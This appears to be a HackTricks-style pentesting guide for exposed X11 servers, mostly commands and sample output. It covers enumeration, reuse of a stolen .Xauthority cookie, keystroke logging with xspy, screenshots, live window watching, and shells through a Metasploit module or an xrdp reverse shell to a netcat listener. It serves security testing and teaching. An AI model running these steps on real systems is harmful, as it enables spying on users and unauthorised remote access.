Links

6000 - Pentesting X11

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Basic Information

X Window System (X) is a versatile windowing system prevalent on UNIX-based operating systems. It provides a framework for creating graphical user interfaces (GUIs), with individual programs handling the user interface design. This flexibility allows for diverse and customizable experiences within the X environment.
Default port: 6000
PORT STATE SERVICE
6000/tcp open X11

Enumeration

Check for anonymous connection:
nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11

Local Enumeration

The file .Xauthority in the users home folder is used by X11 for authorization. From here:
$ xxd ~/.Xauthority
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d ............0..M
00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d IT-MAGIC-COOKIE-
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58 1...R.~..A.....X
00000030: 041d ef ...
MIT-magic-cookie-1: Generating 128bit of key (“cookie”), storing it in ~/.Xauthority (or where XAUTHORITY envvar points to). The client sends it to server plain! the server checks whether it has a copy of this “cookie” and if so, the connection is permitted. the key is generated by DMX.
In order to use the cookie you should set the env var: export XAUTHORITY=/path/to/.Xauthority

Local Enumeration Session

$ w
23:50:48 up 1 day, 10:32, 1 user, load average: 0.29, 6.48, 7.12
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
user tty7 :0 13Oct23 76days 13:37 2.20s xfce4-session
In the example, localhost:0 was running xfce4-session.

Verfy Connection

xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0

Keyloggin

xspy to sniff the keyboard keystrokes.
Sample Output:
xspy 10.9.xx.xx
opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab

Screenshots capturing

xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png

Remote Desktop View

./xrdp.py <IP:0>
First we need to find the ID of the window using xwininfo
xwininfo -root -display 10.9.xx.xx:0
xwininfo: Window id: 0x45 (the root window) (has no name)
Absolute upper-left X: 0
Absolute upper-left Y: 0
Relative upper-left X: 0
Relative upper-left Y: 0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners: +0+0 -0+0 -0-0 +0-0
-geometry 1024x768+0+0
XWatchwin
For live viewing we need to use
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45

Get Shell

msf> use exploit/unix/x11/x11_keyboard_exec
Other way:
Reverse Shell: Xrdp also allows to take reverse shell via Netcat. Type in the following command:
./xrdp.py \<IP:0> –no-disp
In the interface you can see the R-shell option.
Then, start a Netcat listener in your local system on port 5555.
nc -lvp 5555
Then, put your IP address and port in the R-Shell option and click on R-shell to get a shell

References

Shodan

  • port:6000 x11
Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!
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Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks: